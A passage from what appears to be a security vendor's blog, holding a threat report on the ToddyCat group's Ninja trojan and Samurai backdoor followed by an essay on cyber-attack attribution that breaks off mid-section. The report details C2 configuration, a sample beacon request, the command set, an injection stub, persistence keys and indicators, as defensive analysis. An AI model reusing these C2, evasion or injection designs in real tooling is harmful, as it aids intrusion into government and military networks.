Last, but not least, each agent can also work as a server component that receives packets from other agents, parses the requests and forwards them to another predefined C2. This feature allows the attackers to create chains of servers and communicate with agents without a direct internet connection. It can also be used to avoid network detections, by forwarding all malicious traffic generated inside a targeted intranet through a unique node instead of generating activities from all compromised machines.


We have never observed Ninja stored on the file system; it is usually loaded in memory by another component. The loader is usually an executable file, which shares many similarities with the iiswmi.dll library and Samurai installers such as the previously mentioned debug.exe.

The loader uses the same “special resolution function” to call the Windows API and decrypts the file payload using 3DES (112-bit) and uncompress the decrypted data with the LZSS algorithm.

The resulting payload is a library that will be mapped in memory by the loader without the DOS header and it will be invoked calling an exported function “Debug”.

We observed multiple variants, and the tool evolved during the year. The first samples lacked some features, such as the ability to handle multiple sessions on the client side and the ability to communicate with HTTP and HTTPS protocols. The embedded configuration structure was also a little different.

In this article we are going to describe the last detected version.


The malware starts operations by retrieving configuration parameters from an encrypted payload embedded in the binary, which is XORed with the constant value “0xAA” and compressed with the LZSS algorithm.

The analyzed configuration contains a list of 15 elements with the following values:

Parameter Description 2B847033-C95F-92E3-D847-29C6AE934CDC Mutex name used to guarantee atomic execution. C2_INFO A structure that contains the information to communicate with the C2 servers. /Collector/3.0/ URL path used with HTTP and HTTPS protocols. Content-Type: application/x-www-form-urlencoded HTTP header used with HTTP and HTTPS protocols. Host: mobile.pipe.microsoft.com:8080 HTTP header used with HTTP and HTTPS protocols. Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko User-Agent used with HTTP and HTTPS protocols. 0 Working hour Start. 0 Working minute Start. 0 Working second Start. 0 Working hour Stop. 0 Working minute Stop. 0 Working second Stop. 0 TCP C2 communication interval. 300 HTTP C2 communication interval. 0 Local Server port.

The first element is the mutex name, which could be any string, but usually looks like a GUID value. C2_INFO is a string that contains multiple values organized with a specific structure.

HTTP config

The attacker can also customize the HTTP URL path and headers to mimic legitimate services and hide malicious traffic. The specific values in the example will generate requests like the following.

POST /Collector/3.0/ HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: mobile.pipe.microsoft.com:8080 User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv 11.0) like Gecko Content-Length: 430 Cache-Control: no-cache

We may infer that the attacker was trying to emulate Microsoft Teams behavior, although the “User-Agent” and the “Host” headers are incorrect.

C2 Info

The C2_INFO contains multiple information items specified with the following format:

%Protocol% \r %C2_Hostname% \r %C2_Port% \r %Proxy_Type% \r Proxy_Info

The protocol is a numeric value that identify the communication protocol:

  1. HTTP
  2. HTTPS
  3. TCP

The C2 hostname and port are self-explanatory.

The “Proxy_Type” is another integer that can have three different values:

  1. No Proxy. Connect to the C2 directly
  2. System Proxy
  3. Manual Proxy

When the value is equal to “3”, the agent will try to decode a base64 string embedded in “Proxy_Info” that contains different information, according to the specified protocol. When the protocol is HTTP or HTTPS, the following information must be specified:

%Proxy_Address% : %Proxy_Port% \t %Proxy Username% \t %Proxy_Password%

If the protocol is TCP, the decoded strings could specify a proxy chain with up to 255 hops.

%Proxy_Address% \t %Proxy_Port% \t %Remote_Host% \t %Remote_Port% \r %Proxy_Address% \t %Proxy_Port% \t %Remote_Host% \t %Remote_Port% \r %Proxy_Address% \t %Proxy_Port% \t %Remote_Host% \t %Remote_Port% \r %Proxy_Address% \t %Proxy_Port% \t %Remote_Host% \t %Remote_Port% \r ... up to 255

The information will be used by the agent to initialize the connection with the C2.

Working time config

The Ninja agent includes an interesting ‘working time’ feature that can be used to force the malware to work only within a specific time frame. For example, it could configure the malware to work only from 9am to 6pm, during typical working hours. This feature is useful to avoid being detected by specific security solutions such as behavior-based intrusion detection systems. When the values are equal to zero, the feature is disabled and the agent works at any time. The attacker can remotely configure these options with a specific command.

Local server

The last value is the local server port. When the local server feature is enabled, the agent acts as the C2. It waits for agent connections, decodes the received requests and forwards them to the remote C2. This feature is probably used for ‘pivoting’ and accessing other internal systems from the compromised machine. Also, this value can be modified by the attacker with a specific command.

Communication protocol

Malware communications are protected with a sequence of encryption and encoding algorithms, with small differences between the HTTP and TCP protocols.

Both protocols use a message format as follows:


The “Message_ID” changes according to the command type and the “Message_payload” contains the real payload compressed, XORed with the static value 0x3F and encoded with base64 algorithm using a custom alphabet.

The resulting message is then encrypted with AES 256 using a session key generated by selecting two random characters from the custom base64 alphabet. The agent will use random characters to generate a SHA1 hash, which will be used for the AES encryption.

The encrypted data is then encoded again using the base64 algorithm and the resulting string is appended to the previously generated random character to allow the server to decrypt the information.

When the agent is configured to use the HTTP/S protocol, the data are included in standard POST requests.

If the C2 communicates using the TCP protocol, the agent will send a first packet with the constant value 0x6CC8DF01 and then other packets with the generated payload. The server should reply with a packet with the same constant value 0x6CC8DF01 and then with other packets encrypted with the same algorithms. The constant value is not always the same, but changes according to the variant.

The first message is sent using the “Message_ID” 10001 and it contains information about the infected system and the agent configuration.

  • System info (collected with Kernel32.GetNativeSystemInfo function)
  • OS info (collected with Ntdll.RtlGetVersion function)
  • Computer name
  • Local IP address
  • Agent file path
  • Agent PID
  • Agent Sleep Time
  • Agent C2 configuration (C2 hostname, Port, Proxy Info)

The server response usually has the following structure:

  • Magic constant 0x887766
  • Number of commands
  • List of commands

The “Magic constant” is an integer, the value of which changes according to the variants. The list of commands is an array, and for each element the attacker could specify:

  • CommandID
  • Arguments Size
  • Arguments

The argument values change according to the “CommandID”, but usually they are strings with multiple values divided by the ‘*’ character.

Command ID Description Response ID 20000 Enable Session 20001 Disable Session 20002 Update sleep time 20003 Kill Bot 20004 Execute program as user 20005 Set Local Server Port 20006 Safe Exit 20010 Shell::Start new session 30010 20011 Shell::Handle Command 30011 20012 Shell::Close Session 30012 20013 Shell::Terminate Session Tree 30013 20020 File::Get Drives list 30020 20021 File::Get Directory content 30021 20022 File::Create directory 30022 20023 File::Delete file 30023 20024 File::Remove directory 30024 20025 File::Move file 30025 20026 File::Change Create\Last access\Last write Time 30026 20030 File::Read file 30030 20031 File::Write file 30031 20040 Proxy::Start Session 30040 20041 Proxy::Set socket as writeable 30041 20042 Proxy::Send Data 30042 20043 Proxy::Receive Data 30043 20044 Proxy::Close Session 30044 20045 Proxy::Reconnect 30045 20050 Enumerate Processes (filename|pid|number of threads) 30050 20051 Kill a list of processes 20052 Process Injection 30052 20053 Plugin::Load 30053 20054 Plugin::Read Output 30054 20055 Plugin::Unload 30055 20056 Enumerate Processes (SessionID\PID\Domain\Username) 30056 20060 Injection::Start new session 30060 20061 Injection::List active sessions 30061 20062 Injection::Close session 30062 20064 Injection::Inject code in a new process 30064 20065 Injection::Read “pobject” 30065 20068 Injection::Read “create_object” 30068 21000 Configure Working Time 31000

Some commands are self-explanatory, others aren’t, and in some cases we are unable to fully understand them since we are still missing some information.

The Enable and Disable session commands are used to activate or deactivate the Agent. The attacker should enable the bot before sending any other commands, which will be dropped by deactivated bots. The Enable command is also mandatory to enable the “Local server” feature.

The Shell, Proxy and Injection commands were designed to run multiple parallel sessions, which probably means that multiple operators can work on the target machine simultaneously. The agent manages three structures, one for the Shell, one for the Proxy and the last one for the Injection commands.

For example, when the attacker wants to start a shell, they must use the command “20010” that will force the agent to create a new process and new pipes used to redirect the standard input and the standard output. The “Shell session ID” must be specified by the attacker and this value will be stored in the local array, which contains the list of active sessions. If the command succeeds, the agent will reply with a list of information like new PID and pipe handles.

The command 20011 can be used to read or write data in the pipes. The attacker has to provide a valid “Shell session id”, an event ID and the pipe handles. Before processing the command, the agent will check if the provided ID is valid, by comparing the values with those in the local structure.

The command 20012 is used to close an active session, remove the “Session_ID” from the local array, terminate the running process and close the pipe handles. A similar logic is used to manage the Proxy commands, which can be used to forward packets to other remote hosts using the TCP protocol.

The Plugin commands are used to load other unknown libraries in the agent process address space. We don’t have information about the other modules, but we presume they are additional plugins that can be used by the attacker to provide more features.

Based on static analysis we know the libraries should export at least three functions: GET, RUN and CLOSE; and then share data with the main process by using a file mapping object.

The “Process Injection” (20052) command and the “Injection” set of commands could cause some confusion, but they are quite different. The first one is used to inject arbitrary shellcode in a running process. The second is used to inject another agent module in a new process specified by the attack. The injected code is not an arbitrary shellcode, but something that should communicate with the main agent by using specific file mapping objects.

The attacker uses command 20060 to start a new injection session, where the attacker basically provides the shellcode that will be injected in a new program, and whose path will be specified with command 20064.

The “Injection::Inject code in a new process” command will force the agent to start a program specified by the attacker. The specified program will be created as suspended and the agent will write the shellcode in a new section allocated in the created process.

The agent then gets the remote thread’s context to obtain the instruction pointer address and replace the instruction in that offset with the following:

dec eax sub esp, 40h dec eax mov eax, %SHELLCODE_ADDRESS% call eax

Finally, the code will resume the remote process, which will execute the injected code.

The commands 20065 and 20068 are then used to read data from the file mapping objects, which should contain information generated by the injected code.

Other campaigns and variants Other variants

During our investigations, we discovered several loader and installer variants that evolved during 2021 and were used in different campaigns.


All the installers are quite similar in their logic: they load a payload from an external file, usually located in the same directory, with a name that differs according to the variant:

  • debug.xml
  • web.xml
  • access.log
  • cache.dat
  • reg.txt
  • logo.jpg

The files are always decrypted with the same algorithm, CALG_3DES_112, but the loaded data are usually tailored for the victim.

All installers create a new service using a name and description specified in an encrypted file. They also set a registry value (either httpsvc or w3esvc) in the following Windows registry key:

HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SvcHost

These values cause svchost.exe to automatically start the malicious service and load the code in its process address memory. The registry values contain the malicious service name. The main difference between the installer variants is related to the final payload. Based on initial investigations, we know that the first variants (from December 2020 to May 2021) were configured to store their payload inside a registry key, such as:

$HKLM\SOFTWARE\Classes\Interface\{6FD0637B-85C6-D3A9-CCE9-65A3F73ADED9} $HKLM\SOFTWARE\Classes\Interface\{AFDB6869-CAFA-25D2-C0E0-09B80690F21D}

Starting from March we also observed new variants configured to store the final backdoor inside other encrypted files in the file system. The most common dropped the Stage 2 loader in the following paths:

  • %System32%\Triedit.dll
  • %System32%\fveapi.dll

and the Stage 3 loader and encrypted payload in the following paths:

  • %WINDIR%\Microsoft.NET\Framework\sbs_clrhost.dll
  • %WINDIR%\Microsoft.NET\Framework\sbs_clrhost.dat
  • %WINDIR%\Microsoft.NET\Framework\Util.dll
  • %WINDIR%\Microsoft.NET\Framework\Util.dat

Starting from September 2021, we observed new samples configured to once again store the final payload in the Windows registry, but instead of relying on static registry key values, the malware was configured to create a dynamically generated key in $HKLM\SOFTWARE\Classes\Interface\, based on the disk drive’s serial number:

Code snippet to create a registry key based on the Volume Serial Number

The constants used to generate the final registry key name change for each sample.


The loaders are basic tools used to decrypt payloads from 3DES and load them into memory. They were modified over time along with the installers to account for the changes in how the final payload is stored.

Some loaders, like those mentioned in the previous paragraph, were configured to load another payload from an encrypted file and pass the resulting data as arguments for another library, a Stage 3 loader, stored in a specific location.

Other loaders were configured to load the payload from the registry and pass it to the Stage 3 library.

Some variants included a function to directly run .NET code at runtime, without relying on another external Stage 3 library.

Finally, we observed other loaders that were mainly used on desktop systems to load the Ninja Trojan.

Other attacks against Desktop systems

The first waves of attacks exclusively targeted Microsoft Exchange servers, but starting from September 2021, we also observed a new set of loaders detected on desktop systems in Central Asia with filenames such as “01.09.2021 г..exe”, “03.09.2021 г.exe”, “нота мид кр регламент.exe” and “Тех.Инструкции.exe”.

The files were loaders configured to run the Ninja component, but they were distributed as executable files embedded in zip archives and sent through the popular messaging app Telegram.

The programs were configured to load a payload from another file, “license.txt”, which should be located in the same directory. The malware then uses the previously described “special resolution function” to call the Windows API and decrypts the file payload using 3DES (112)-bit and uncompresses the decrypted data.

The resulting payload is the Ninja library that will be mapped in memory by the loader without the DOS header and it will be invoked calling an exported function “Debug”.

How to detect the Samurai backdoor

The whole infection scheme used to deploy and guarantee Samurai persistence, was designed to avoid forensic analysis and the most common superficial checks.

As we said, the malicious code is loaded by the legitimate svchosts.exe process, which means that the backdoor cannot be detected with a simple process enumeration.

Moreover, the backdoor cannot be spotted by watching the open TCP ports, because it uses the .NET HTTPListener class, which is built on top of HTTP.sys and allows different processes to share the same ports. In the case of the Samurai backdoor, it uses ports 80 or 443, which are also used by Microsoft Exchange.

We detect this backdoor as “HEUR:Backdoor.MSIL.Samurai.gen”, but in the absurd case that you are not using our products, a simple way to check if the backdoor is running is to try to find one of the IoCs shared in this blogpost or trying to execute the following command:

#>netsh http show servicestate verbose=yes

As described by Microsoft, this command will display a snapshot of the HTTP service, and you can try to find suspicious registered URLs such as the following:

Server session ID: ED00000020000013 Version: 2.0 State: Active Properties: ... Max bandwidth: inherited Max connections: inherited Timeouts: Timeout values inherited Number of registered URLs: 2 Registered URLs: HTTP://*:80/OWA/AUTH/TOKEN/ HTTPS://*:443/OWA/AUTH/TOKEN/


Based on our visibility we know that ToddyCat focused its attention on high-profile targets; most of them were government organizations and military entities, as well as military contractors.

We know the attacks launched before February 2021 targeted a very limited number of government entities in:

  • Taiwan
  • Vietnam

After the ProxyLogon publication the number of detections rapidly increased around the world, and we also observed victims in the following countries:

  • Afghanistan
  • India
  • Iran
  • Malaysia
  • Pakistan
  • Russia
  • Slovakia
  • Thailand
  • United Kingdom

After May 2021, we observed other variants and campaigns that we attributed to the same group and affected most of the previously mentioned countries in Asia and the following:

  • Kyrgyzstan
  • Uzbekistan
  • Indonesia

Overall affected victims map


Unfortunately, we were not able to attribute the attacks to a known APT group; and for this reason we dubbed this entity ToddyCat.

During our investigations we noticed that ToddyCat victims are related to countries and sectors usually targeted by multiple Chinese-speaking groups. In fact, we observed three different high-profile organizations compromised during a similar time frame by ToddyCat and another Chinese-speaking APT group that used the FunnyDream backdoor.

This overlap caught our attention, since the ToddyCat malware cluster is rarely seen as per our telemetry; and we observed the same targets compromised by both APTs in three different countries. Moreover, in all the cases there was a proximity in the staging locations and in one case they used the same directory.

Target 1
C:\ProgramData\Microsoft\DRM\rundll.dll – FunnyDream related
C:\ProgramData\Microsoft\mf\svchost.dll – ToddyCat

Target 2
C:\ProgramData\adobe\avps.exe – FunnyDream related
C:\ProgramData\adobe\2.dll – ToddyCat

Despite the overlap, we do not feel confident merging ToddyCat with the FunnyDream cluster at the moment. Considering the high-profile nature of all the victims we discovered, it is likely they were of interest to several APT groups. Moreover, despite the occasional proximity in staging locations, we have no concrete evidence of the two malware families directly interacting (for instance, one deploying the other), and the specific directories are frequently used by multiple attackers.


ToddyCat is a sophisticated APT group that uses multiple techniques to avoid detection and thereby keeps a low profile. During our investigations we discovered dozens of samples, but despite the number of files and the duration of their activities, we were unable to attribute the attacks to a known group; and there is also quite a bit of technical information about the operations that we don’t have.

The affected organizations, both governmental and military, show that this group is focused on very high-profile targets and is probably used to achieve critical goals, likely related to geopolitical interests.

Based on our telemetry, the group shows a strong interest in targets in Southeast Asia, but their activities also impact targets in the rest of Asia and Europe.

We’ll continue to monitor this group and keep you updated.

More information, IoCs and YARA rules about ToddyCat are available to customers of the Kaspersky Intelligence Reporting Service. Contact: intelreports@kaspersky.com.

ToddyCat’s indicators of compromise

5cfdb7340316abc5586448842c52aabc Dropper google.log
93c186c33e4bbe2abdcc6dfea86fbbff Dropper
5a912beec77d465fc2a27f0ce9b4052b Dll Loader Stage 2 iiswmi.dll
f595edf293af9b5b83c5ffc2e4c0f14b Dll Loader Stage 3 websvc.dll
5a531f237b8723396bcfd7c24885177f Dll Loader Stage 2 fveapi.dll
1ad6dccb520893b3831a9cfe94786b82 Dll Loader Stage 2 fveapi.dll
f595edf293af9b5b83c5ffc2e4c0f14b Dll Loader Stage 3 sbs_clrhost.dll
8a00d23192c4441c3ee3e56acebf64b0 Samurai Backdoor
5e721804f556e20bf9ddeec41ccf915d Ninja Trojan

Other variants
33694faf25f95b4c7e81d52d82e27e7b 1.dll – Installer
832bb747262fed7bd45d88f28775bca6 Техинстр egov – ГЦП – Акрамов.exe – Loader
8fb70ba9b7e5038710b258976ea97c98 28.09.2021. Управление ИР и ИС.exe – Loader
ee881e0e8b496bb62ed0b699f63ce7a6 Loader
ae5d2cef136ac1994b63c7f8d95c9c84 Loader
5c3bf5d7c3a113ee495e967f236ab614 System.Core.dll – Loader
bde2073dea3a0f447eeb072c7e568ee7 wabext.dll – Loader
350313b5e1683429c9ffcbc0f7aebf3b rcdll.dll – Loader

Ninja C2

File paths
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Temporary ASP.NET Files\web.exe
C:\Program Files\microsoft\exchange server\v15\frontend\httpproxy\owa\auth\googleup.log
C:\Program Files\Common Files\microsoft shared\WMI\iiswmi.dll
C:\Program Files\Common Files\microsoft shared\Triedit\Triedit.dll
C:\Program Files\Common Files\System\websvc.dll
C:\Windows\Microsoft.NET\Framework64\v2.0.50727\Temporary ASP.NET Files\web.xml
%program files%\Common Files\services\System.Core.dll
%userprofile%\Downloads\Telegram Desktop\03.09.2021 г.zip
%userprofile%\Downloads\Telegram Desktop\Тех.Инструкции.zip

Registry Keys

‘Unpacking’ technical attribution and challenges for ensuring stability in cyberspace

20 Červen, 2022 - 12:00


When reports of a cyberattack appear in the headlines, questions abound regarding who launched it and why. Even if an attacker has what are to it perfectly rational reasons for conducting such an attack, these reasons are often known only to them. The rest of the world, including the victims of the attack, must often engage in some degree of speculation to explain the events and devise ways to protect themselves accordingly. Knowing the technical aspects of an attack may allow victims to build stronger defences, patch gaps and increase their cyber-resilience. This is why both policymakers and industry leaders are usually eager to have this knowledge as a possible ‘cure’ to mitigate or prevent such cyberattacks from happening again.

A constant challenge in such an endeavour is that the cyber context, in all its complexity and interconnectedness, remains a dark, unknown forest for many decision-makers. How then can they find out who was behind an attack and why?

Attribution of a cyberattack is not ‘magic’. It is a complex process where technical, legal and political discussions intertwine to produce as complete a narrative as possible – with as many plausible answers as possible (though not always comprehensive ones). Technical attribution relates to a technical investigation to identify who was behind a cyberattack or cyber operation. Legal attribution assesses if there has been a breach of international law. Finally, political attribution implies the political decision to publicly or privately announce those assessments and tie them to a particular state or private actor.

Security researchers and private cybersecurity companies can typically analyse cyber incidents from a technical standpoint and cluster them into groups, which they then tie to particular threat actors. However, the only actors that deliver the entire narrative of a cyberattack – discussing accountability and international law – are nation states. The decision-making of states is highly complex in nature, often involving multiple considerations – from domestic issues to foreign affairs. Publicly attributing cyberattacks, meaning announcing who is thought to be responsible, is therefore often not straightforward, and states might not always be willing to make such announcements.[1]

Within this piece, we, a collection of policy scholars and industry experts, discuss how technical attribution – identifying who is behind a cyberattack – can become more transparent and better understood by the wider public. Our key discussion points include: How is technical attribution carried out? What are the key challenges in conducting reliable technical attribution? And finally, how can this be more accessible to the multitude of stakeholders who are operating in cyberspace and/or have interests there?

Below are our reflections on these questions, divided into several parts. Firstly, we discuss technical attribution and options to make it more transparent and accessible; next we reflect on how, given existing limitations within multilateral initiatives, the international community might make incremental improvements towards ensuring that technical attribution is made more transparent and more accessible and ensure the stability and security of cyberspace.

Why would anyone want to know details of technical attribution?

Cyber attribution is a necessary step to accountability in cyberspace.[2] It serves as a basis for a response: for states in accordance with international law, and for the private sector (if it owns or manages attacked infrastructure) in accordance with national applicable laws. Cyber attribution is a necessary precursor to retaliation – technical, legal or political. And if a state has advanced attribution capabilities, it is in a better position to understand what has happened and appropriately react to a cyberattack. Attribution capabilities are therefore a crucial element in building a deterrence strategy against malicious behaviour.

Besides states and security researchers, why would anyone else be interested in conducting technical attribution and finding out all possible details?

Given the multistakeholder nature of cyberspace, a state’s sovereign decision on cyber attribution – whether public or private – may have far-reaching consequences for other stakeholders. The increasingly relevant discussions, from scholars, academia and civil society,[3] further signal interest in greater transparency of and accessibility to, at least, technical attribution.

These decisions impact geopolitical realities, and in this regard the more information other decision-makers (e.g., owners of ICT infrastructure that procure tools and services for critical functions and sectors) have, the better they are informed about these geopolitical realities to make decisions that would, in turn, impact users of such ICT infrastructure.

In addition, accessibility to information about technical attribution provides third parties with the ability to assess the results of technical analysis and investigation. Third parties may spot gaps and inconsistencies in the evidence presented and thus help increase the credibility and quality of technical attribution.

In practice, some States have clearly communicated that there is no obligation under international law to disclose underlying evidence of attribution. Scholars also highlight the significant security risks that public (technical) attribution brings and thus argue that “public attribution is not always better.” Nonetheless, the idea of an international attribution mechanism has been floated by several experts and organizations, proposing an independent mechanism for impartial analysis and decision-making in cyber attribution to complement and assist in states’ sovereign decisions.[4] [5] While states’ reservations regarding calls for greater transparency in cyber attribution and the risks it may carry for strategic competition are valid and do have merit,[6] the benefits of making technical attribution more accessible and better understood by the wider international community should also be explored.

Following on from the previously discussed key thought that cyber attribution as states’ sovereign prerogative has wider impacts on non-state actors, we hope that more transparent and accessible technical attribution would be important for states to develop better and fact-based assessments, and thus contribute to greater stability and predictability in cyberspace. After discussing how technical attribution is conducted and current difficulties and limitations with it, we reflect on suggestions for the continuing negotiations in the United Nations Open-Ended Working Group on Developments in Information and Telecommunications in the Context of International Security (UN OEWG) and for the international community broadly.

How the pie gets made: steps in conducting technical attribution

While the idea of cyber attribution – i.e., determining who is responsible for an attack – is generally understandable by anyone, its technical underpinnings usually rely on domain-specific knowledge. In almost all cases, with the exception of attribution provided through human intelligence (or HUMINT), it is based on careful analysis of available technical information. The end result of this process is technical attribution: intelligence that informs readers about the identity of the attackers. But in this specific context, ‘identity’ should not be understood in the traditional sense: this type of attribution is not aimed at pointing to a door that law enforcement can then kick down. This would in fact require leaps that are usually impossible based on the information available. Instead, the objects crucial to the process of technical attribution are threat actors and attack campaigns. Such ‘objects’, as referred to here, point to things such as malware and hijacked servers, which, when put together and ‘manipulated’, inform the technical attribution process. The process produces clusters that represent malicious cyber activity, which can be grouped together based on identifiable characteristics of the attack and previous attacks.

Technical attribution may lead the conclusion that, e.g., “APT 41 is responsible for this attack”, where APT 41 is a term used to consistently designate a specific attacker in the context of different incidents. Figuring out who the people behind APT 41 are would be the prerogative of political, rather than technical, attribution. Technical attribution is only concerned with understanding what characterizes APT 41 as an attacker, and which cyberattacks they are responsible for. But how does this process take place?

To understand this, one must first understand what information is used in the technical attribution process and where such information comes from. Taking control of an IT system implies a lot of interaction with it: using vulnerabilities to acquire privileges on the machine, deploying programs to exert control over it, and so on. All these operations affect the target computer or device in very specific ways: files are created, log entries are written, network traffic is generated, and so on. Despite the best efforts of the attackers to leave the smallest possible footprint, it is almost impossible to erase all traces of an attack. The main reason for this is that some of the technical information generated during the interaction is not stored in the compromised machine, or even in the target network (i.e., within network activity logs collected by the Internet Service Provider (ISP), etc.). Below are some examples of the type of data collected and strategies of collection and analysis during the technical attribution process.


Most readers will be familiar with ‘backdoors’, ‘Trojans’ and the like – computer programs used to send arbitrary commands to a compromised device, but where do these tools come from? Some of them can be purchased as commercial products, others are open-source and freely available. Some of these tools have even been created by threat actors themselves.

In the latter case, discovering the same unique malware family in two separate cyber-incidents is a strong indication that they share the same perpetrator. A significant part of the work that cyberthreat intelligence teams perform is meticulously indexing known and unknown attack software, and keeping track of which entities use it.


The tools described in the previous paragraph and deployed in victims’ networks do not function in a vacuum. The stolen data needs to be exfiltrated somewhere, and the backdoor needs a place (like a dead-drop) where it obtains the commands to execute. Servers and domain names purchased online serve this function and are collectively seen as the ‘infrastructure’.

When the same server is used simultaneously in the context of two apparently uncorrelated attacks, conventional wisdom suggests that whoever owns it must therefore be responsible for them both. Technical attribution can take the investigation process further, often by noting attacker habits – such as which resellers they favour, the specific way they configure their machines, and so on. All of this makes it possible to tie together incidents that do not involve the exact same servers (i.e., servers with different IP addresses), or sometimes even discover the infrastructure of a given threat actor before it is used in an operation.

Attacker procedures

Finally, it is sometimes possible to obtain a clear picture of what the attackers do once they are inside a network: this encompasses the deployment of additional offensive tools and utilities, but also the commands they type. Due to the number of members of attack groups, some of them have to put strict and repeatable procedures in place – allowing for various operators to fill in for one another. Identifying such recurrent patterns, such as a sequence of information gathered in a specific order from a new machine, can allow defenders to recognise a threat actor across multiple incidents.

Beyond this, other aspects that can hint at the identity of attacks include more trivial elements – such as which encryption algorithm, network protocol or attack vector an attacker favours.

The above strategies form a key aspect of the technical attribution process: they transcend individual incidents and aim at building knowledge that can be useful within a larger context. However, no vendor or intelligence service has full visibility over all cyber incidents taking place: defenders only know about what is going on inside their network; incident responders are only aware of the incidents they are asked to remediate; security vendors only obtain limited telemetry from their customer base.

It follows that no single entity can be successful at attribution alone: it is only by sharing information about threat actors (i.e., through whitepapers, conferences and blog posts) that the industry’s knowledge has allowed us to keep track of the hundreds of threat actors identified over the years.

What are the difficulties, uncertainties and limitations of technical attribution?

Even assuming that it is fully available to those performing cyber attribution, technical information is limited, and does not always allow for robust answers. The obvious blind spot is that private cybersecurity vendors often have no investigative powers. This precludes everyone in the industry from ‘following the money’. In the case of attacker infrastructure, servers and domain names are not obtained for free: one way or another, threat actors must find a way to pay for them. Traces generated at this stage are simply unavailable at the technical level.

Tool-based attribution (i.e., grouping together attacks that leverage the same unique malware families) has also been getting more difficult over the years – for two reasons. Firstly, a number of attackers have eschewed homemade backdoors to solely rely on open-source software. These publicly available backdoors can be used by anyone and cannot characterize a single threat actor unless some significant and unique modifications have been made to them. Secondly, Kaspersky has also observed the tendency to share tools and procedures between close yet distinct threat actors, e.g., instance hacker groups from the same region, working for the same sponsor, but going after different target verticals (e.g., the education, energy, or fintech sectors).

Adding to the uncertainty of technical attribution are two important issues that need mentioning. The first is that a number of attackers are acutely aware of the technical attribution process and will therefore attempt to impede it by misleading analysts. The issue is further compounded by the fact that attackers interact with each other and may steal tools from one another – how would defenders then be able to distinguish between the original owner and the copycat? Threat actors may also try to purposefully leave behind ‘false flags’ – indicators that incriminate other groups. Such false flags may only be discovered through very careful analysis and are likely happening more frequently than the industry is aware of.

The second issue is that the technical information analysts work with is very ambiguous. High-profile victims may be compromised by several attackers at once: each of them deploying their tools and generating a muddled footprint. This means that those performing technical attribution are unable to clarify whether it is one, two, or even more distinct groups that are responsible for the activity they are investigating. The risk that a tool would be attributed to the wrong group always exists, with the implication of poisoning the global knowledge-well for years.

What are the obstacles to a transparent technical attribution process?

The lack of a global database and the inherent ambiguity of the attribution process imply that cooperation and verifiable procedures are necessary to bolster existing technical attribution efforts. But arguments against global information sharing and transparency in this sphere suggest that a call for such procedures is not a straightforward solution.

One key objection in this regard stems from the possibility of attackers gaining access to such a global knowledge pool of information. Attribution reports contain precise indicators (e.g., file hashes, IP addresses, domain names, and so on), which would allow attackers to see which incidents led to their discovery and how defenders tied the activity to them. The immediate consequence of transparent attribution is that it provides resources for attackers to tap into to further hone their methodologies and cover up the most characteristic aspects of their operations. There is therefore arguably value in protecting methods used to track threat actors from interception, even at the expense of wider cooperation.

A further argument against global information sharing and transparency in technical attribution processes is that disclosing how an attack is attributed also provides information about the capabilities of the defender. Such information might involve trade/industry secrets or even sensitive and/or classified information. Government actors use their signals intelligence (SIGINT) capabilities to provide invaluable data for the cyber attribution process (including political and legal) and would rather not attribute an attack publicly at all than have to disclose their SIGINT capabilities and the extent of their visibility. In a limited number of instances, covertly discovering who the attacker is allows analysts to engage in a post-discovery reconstruction of an alternate trail of technical data. By covert means, we refer to signals intelligence, illegal wiretapping and sometimes even plain hacking. But this process – called ‘parallel construction’ – cannot always be performed, sometimes leaving only a choice between unsubstantiated attribution or no attribution at all.

Paths forward?

There is clearly a cat-and-mouse aspect to technical attribution. As attackers update their methodologies in order to avoid blame, defenders look for new sources of information to help them produce intelligence. The first observation is that tool-based attribution is on the decline. The global availability of sophisticated and free cyber offensive programmes means that attackers will not need to create their own anymore. On the other hand, new capabilities are offered to defenders in response. For instance, there are now offerings for private SIGINT capabilities, where defenders can purchase raw network data collected from the whole world, allowing them to see operators connecting to their attack servers.

Given all the limits discussed above, what could be a way forward for technical attribution that is both more transparent and more accessible?

Building upon existing discussions already taking place at various multilateral fora, such as the first iteration of the UN OEWG or the UN Group of Governmental Experts on advancing responsible State behaviour in cyberspace in the context of international security (UN GGE), this paper suggests some areas through which technical attribution can be made more transparent and accessible. These generally focus on issues pertaining to norm implementation (i.e., norm 13(b) of the UN GGE report concerning cyber attribution) and creating more clarification and guidance for policymakers. Both areas are outlined below:

Building consensus amongst states regarding (technical) attribution

The lack of consensus amongst states regarding the necessity of technical attribution and its associated processes remains to be addressed. For example, regarding Norm 13(b), the UN GGE report has noted that “attribution is a complex undertaking” and that “a broad range of factors should be considered before establishing the source of an ICT incident”.[7] While this acknowledges the complexity of attribution (including technical) that practitioners have raised, it leaves various questions unanswered. Given that attribution is complex and involves many factors, what is the “agreed-upon baseline” for such technical attribution to occur?

Based on documents submitted by states (to both the UN OEWG and UN GGE), it appears that the international community is divided along the lines of whether providing the technical details of ICT incidents (i.e., part of technical attribution) ought to be made compulsory. Some states, such as Russia, have called for legally formalising the need for technical attribution. Others, such as China, while highlighting that states should “demonstrate genuine, reliable and adequate proof” when attributing ICT incidents, hold back from making the provision of evidence a mandatory requirement – note the distinction between use of the term “states should…” and “states must…”.

Additionally, paragraph 24 of the GGE report highlighted the need for states who have suffered cyberattacks to “include the incident’s technical attributes…including the incident’s bearing on international peace and security; and the results of consultations between the States concerned”. However, there remains much potential for future discussions on the topic (such as at the second iteration of the UN OEWG) to take the discussion further to specify or outline what such technical data collection actually entails, as well as the processes for sharing information and consulting with other concerned states.

Fostering mechanisms for multistakeholder cooperation at the regional and international levels

While the UN GGE (July 2021) aimed to promote “cooperative measures to address existing and potential threats” in the ICT sphere, support for mechanisms that promote such cooperation remains lacking. Although states recognise the importance of information-sharing and the value that exchanging best practices could bring,[8] it concedes that considerations on how cooperation regarding attribution can actually occur will have to be addressed in future discussions.

